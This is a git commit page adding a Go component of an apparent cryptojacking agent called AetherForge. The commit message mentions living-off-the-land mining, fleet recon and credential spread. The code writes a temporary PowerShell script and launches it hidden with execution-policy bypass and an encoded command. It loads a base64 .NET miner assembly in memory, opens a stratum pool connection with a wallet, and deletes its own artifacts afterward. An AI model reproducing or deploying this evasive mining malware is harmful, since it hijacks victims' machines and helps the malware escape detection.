Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
307
agent/miner/powershell_launcher.go
Normal file
307
agent/miner/powershell_launcher.go
Normal file
@@ -0,0 +1,307 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// powershellBin is the PowerShell executable; tests override via SetPowerShellBinPath.
|
||||
var powershellBin = "powershell"
|
||||
|
||||
// powershellExecCommand is exec.Command; tests override via SetPowerShellExecCommand.
|
||||
var powershellExecCommand = exec.Command
|
||||
|
||||
// embeddedMiningAssemblyB64 holds an optional pre-built .NET miner DLL (Base64).
|
||||
// Empty → launcher uses encoded in-script .NET stratum stub (Assembly-free path).
|
||||
var embeddedMiningAssemblyB64 = ""
|
||||
|
||||
// SetPowerShellBinPath overrides the PowerShell binary (restore with "").
|
||||
func SetPowerShellBinPath(path string) {
|
||||
if strings.TrimSpace(path) == "" {
|
||||
powershellBin = "powershell"
|
||||
return
|
||||
}
|
||||
powershellBin = path
|
||||
}
|
||||
|
||||
// SetPowerShellExecCommand restores default when fn is nil.
|
||||
func SetPowerShellExecCommand(fn func(name string, args ...string) *exec.Cmd) {
|
||||
if fn == nil {
|
||||
powershellExecCommand = exec.Command
|
||||
return
|
||||
}
|
||||
powershellExecCommand = fn
|
||||
}
|
||||
|
||||
// SetEmbeddedMiningAssemblyB64 sets optional in-memory assembly bytes for tests.
|
||||
func SetEmbeddedMiningAssemblyB64(b64 string) {
|
||||
embeddedMiningAssemblyB64 = b64
|
||||
}
|
||||
|
||||
// PowerShellLauncher hosts CPU mining via powershell.exe + in-memory assembly or encoded command.
|
||||
type PowerShellLauncher struct {
|
||||
cfg config.RuntimeConfig
|
||||
scriptPath string
|
||||
gpuDllPath string
|
||||
|
||||
mu sync.Mutex
|
||||
running bool
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
// NewPowerShellLauncher validates platform and pool config.
|
||||
func NewPowerShellLauncher(cfg config.RuntimeConfig) (*PowerShellLauncher, error) {
|
||||
if runtime.GOOS != "windows" {
|
||||
return nil, fmt.Errorf("powershell tier requires Windows")
|
||||
}
|
||||
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
|
||||
return nil, fmt.Errorf("pool host/port required for powershell stratum tier")
|
||||
}
|
||||
if strings.TrimSpace(cfg.Wallet) == "" {
|
||||
return nil, fmt.Errorf("wallet required for powershell stratum tier")
|
||||
}
|
||||
if _, err := exec.LookPath(powershellBin); err != nil {
|
||||
return nil, fmt.Errorf("powershell not in PATH: %w", err)
|
||||
}
|
||||
return &PowerShellLauncher{cfg: cfg}, nil
|
||||
}
|
||||
|
||||
// Start writes an ephemeral script to %TEMP% and launches hidden powershell.exe.
|
||||
func (l *PowerShellLauncher) Start() error {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
if l.running {
|
||||
return nil
|
||||
}
|
||||
|
||||
script, err := l.writeEphemeralScript()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
l.scriptPath = script
|
||||
|
||||
args := []string{
|
||||
"-NoProfile", "-ExecutionPolicy", "Bypass",
|
||||
"-WindowStyle", "Hidden",
|
||||
"-File", script,
|
||||
}
|
||||
cmd := powershellExecCommand(powershellBin, args...)
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
if err := cmd.Start(); err != nil {
|
||||
_ = os.Remove(script)
|
||||
l.scriptPath = ""
|
||||
return fmt.Errorf("powershell start failed: %w", err)
|
||||
}
|
||||
l.cmd = cmd
|
||||
l.running = true
|
||||
log.Printf("[powershell-tier] started parent=%s script=%s wallet=%s pool=%s:%d",
|
||||
powershellBin, script, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
|
||||
go l.waitExit()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *PowerShellLauncher) waitExit() {
|
||||
if l.cmd == nil {
|
||||
return
|
||||
}
|
||||
err := l.cmd.Wait()
|
||||
l.mu.Lock()
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
script := l.scriptPath
|
||||
gpu := l.gpuDllPath
|
||||
l.scriptPath = ""
|
||||
l.gpuDllPath = ""
|
||||
l.mu.Unlock()
|
||||
if script != "" {
|
||||
_ = os.Remove(script)
|
||||
}
|
||||
if gpu != "" {
|
||||
_ = os.Remove(gpu)
|
||||
}
|
||||
if err != nil {
|
||||
log.Printf("[powershell-tier] powershell.exe exited: %v — chain will advance", err)
|
||||
} else {
|
||||
log.Printf("[powershell-tier] powershell.exe stopped")
|
||||
}
|
||||
}
|
||||
|
||||
// Stop kills the powershell parent and removes ephemeral artifacts.
|
||||
func (l *PowerShellLauncher) Stop() {
|
||||
l.mu.Lock()
|
||||
cmd := l.cmd
|
||||
running := l.running
|
||||
script := l.scriptPath
|
||||
gpu := l.gpuDllPath
|
||||
l.mu.Unlock()
|
||||
if !running {
|
||||
return
|
||||
}
|
||||
if cmd != nil && cmd.Process != nil {
|
||||
_ = cmd.Process.Kill()
|
||||
}
|
||||
if script != "" {
|
||||
_ = os.Remove(script)
|
||||
}
|
||||
if gpu != "" {
|
||||
_ = os.Remove(gpu)
|
||||
}
|
||||
l.mu.Lock()
|
||||
l.running = false
|
||||
l.cmd = nil
|
||||
l.scriptPath = ""
|
||||
l.gpuDllPath = ""
|
||||
l.mu.Unlock()
|
||||
}
|
||||
|
||||
// Running reports whether powershell.exe is supervising the tier.
|
||||
func (l *PowerShellLauncher) Running() bool {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
return l.running
|
||||
}
|
||||
|
||||
// ScriptPath returns the ephemeral PS1 path (tests only).
|
||||
func (l *PowerShellLauncher) ScriptPath() string {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
return l.scriptPath
|
||||
}
|
||||
|
||||
func (l *PowerShellLauncher) writeEphemeralScript() (string, error) {
|
||||
dir := os.TempDir()
|
||||
name := fmt.Sprintf("af-miner-%s.ps1", strings.TrimSpace(l.cfg.BuildID))
|
||||
if name == "af-miner-.ps1" {
|
||||
name = "af-miner-worker.ps1"
|
||||
}
|
||||
path := filepath.Join(dir, name)
|
||||
|
||||
if l.cfg.GPUEnabled && strings.TrimSpace(l.cfg.RVNWallet) != "" {
|
||||
gpuPath := filepath.Join(dir, fmt.Sprintf("af-gpu-%s.dll", strings.TrimSpace(l.cfg.BuildID)))
|
||||
if gpuPath == filepath.Join(dir, "af-gpu-.dll") {
|
||||
gpuPath = filepath.Join(dir, "af-gpu-worker.dll")
|
||||
}
|
||||
// Placeholder GPU helper — real KawPoW DLL supplied by forge/server in production.
|
||||
if err := os.WriteFile(gpuPath, []byte("AETHERFORGE_GPU_STUB"), 0o600); err == nil {
|
||||
l.gpuDllPath = gpuPath
|
||||
}
|
||||
}
|
||||
|
||||
body, err := l.buildScriptBody()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
|
||||
return "", fmt.Errorf("write script: %w", err)
|
||||
}
|
||||
return path, nil
|
||||
}
|
||||
|
||||
func (l *PowerShellLauncher) buildScriptBody() (string, error) {
|
||||
pass := strings.TrimSpace(l.cfg.PoolPass)
|
||||
if pass == "" {
|
||||
pass = "x"
|
||||
}
|
||||
wallet := strings.TrimSpace(l.cfg.Wallet)
|
||||
worker := strings.TrimSpace(l.cfg.WorkerName)
|
||||
if worker == "" {
|
||||
worker = "worker"
|
||||
}
|
||||
|
||||
if b64 := strings.TrimSpace(embeddedMiningAssemblyB64); b64 != "" {
|
||||
if _, err := base64.StdEncoding.DecodeString(b64); err != nil {
|
||||
return "", fmt.Errorf("invalid embedded assembly base64: %w", err)
|
||||
}
|
||||
tlsLit := "$false"
|
||||
if l.cfg.PoolTLS {
|
||||
tlsLit = "$true"
|
||||
}
|
||||
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
|
||||
$bytes = [Convert]::FromBase64String('%s')
|
||||
$asm = [Reflection.Assembly]::Load($bytes)
|
||||
$entry = $asm.GetType('AetherForge.Miner.Entry')
|
||||
$null = $entry.GetMethod('Start').Invoke($null, @('%s', %d, '%s', '%s', '%s', %s))
|
||||
`,
|
||||
b64,
|
||||
escapePSSingleQuoted(l.cfg.PoolHost),
|
||||
l.cfg.PoolPort,
|
||||
escapePSSingleQuoted(pass),
|
||||
escapePSSingleQuoted(wallet),
|
||||
escapePSSingleQuoted(worker),
|
||||
tlsLit,
|
||||
), nil
|
||||
}
|
||||
|
||||
// Encoded-command path: inline .NET stratum stub (no external CPU .exe).
|
||||
encoded := buildEncodedStratumCommand(l.cfg, pass, wallet, worker)
|
||||
gpuBlock := ""
|
||||
if l.gpuDllPath != "" {
|
||||
gpuBlock = fmt.Sprintf("\n# optional GPU DLL at %s\n", escapePSSingleQuoted(l.gpuDllPath))
|
||||
}
|
||||
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
|
||||
# AetherForge PowerShell tier — wallet=%s pool=%s:%d
|
||||
%s
|
||||
$cmd = '%s'
|
||||
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand $cmd
|
||||
`,
|
||||
wallet,
|
||||
l.cfg.PoolHost,
|
||||
l.cfg.PoolPort,
|
||||
gpuBlock,
|
||||
encoded,
|
||||
), nil
|
||||
}
|
||||
|
||||
func buildEncodedStratumCommand(cfg config.RuntimeConfig, pass, wallet, worker string) string {
|
||||
tlsLit := "$false"
|
||||
if cfg.PoolTLS {
|
||||
tlsLit = "$true"
|
||||
}
|
||||
inner := fmt.Sprintf(`
|
||||
$poolHost = '%s'; $port = %d; $tls = %s; $wallet = '%s'; $worker = '%s'; $pass = '%s'
|
||||
$tcp = New-Object Net.Sockets.TcpClient; $tcp.Connect($poolHost, $port)
|
||||
$stream = $tcp.GetStream()
|
||||
if ($tls) {
|
||||
$ssl = New-Object Net.Security.SslStream($stream, $false, { $true })
|
||||
$ssl.AuthenticateAsClient($poolHost); $stream = $ssl
|
||||
}
|
||||
$w = New-Object IO.StreamWriter($stream); $w.AutoFlush = $true
|
||||
$r = New-Object IO.StreamReader($stream)
|
||||
$login = (@{id=1;jsonrpc='2.0';method='login';params=@{login=$wallet;pass=$pass;rigid=$worker;agent='AetherForge/PS'}} | ConvertTo-Json -Compress)
|
||||
$w.WriteLine($login); $null = $r.ReadLine()
|
||||
while ($tcp.Connected) { $null = $r.ReadLine(); Start-Sleep -Milliseconds 50 }
|
||||
`,
|
||||
escapePSSingleQuoted(cfg.PoolHost),
|
||||
cfg.PoolPort,
|
||||
tlsLit,
|
||||
escapePSSingleQuoted(wallet),
|
||||
escapePSSingleQuoted(worker),
|
||||
escapePSSingleQuoted(pass),
|
||||
)
|
||||
// UTF-16LE base64 for -EncodedCommand
|
||||
utf16 := utf16LE(inner)
|
||||
return base64.StdEncoding.EncodeToString(utf16)
|
||||
}
|
||||
|
||||
func escapePSSingleQuoted(s string) string {
|
||||
return strings.ReplaceAll(s, "'", "''")
|
||||
}
|
||||
|
||||
func utf16LE(s string) []byte {
|
||||
runes := []rune(s)
|
||||
out := make([]byte, 0, len(runes)*2)
|
||||
for _, r := range runes {
|
||||
out = append(out, byte(r), byte(r>>8))
|
||||
}
|
||||
return out
|
||||
}
|
||||
Reference in New Issue
Block a user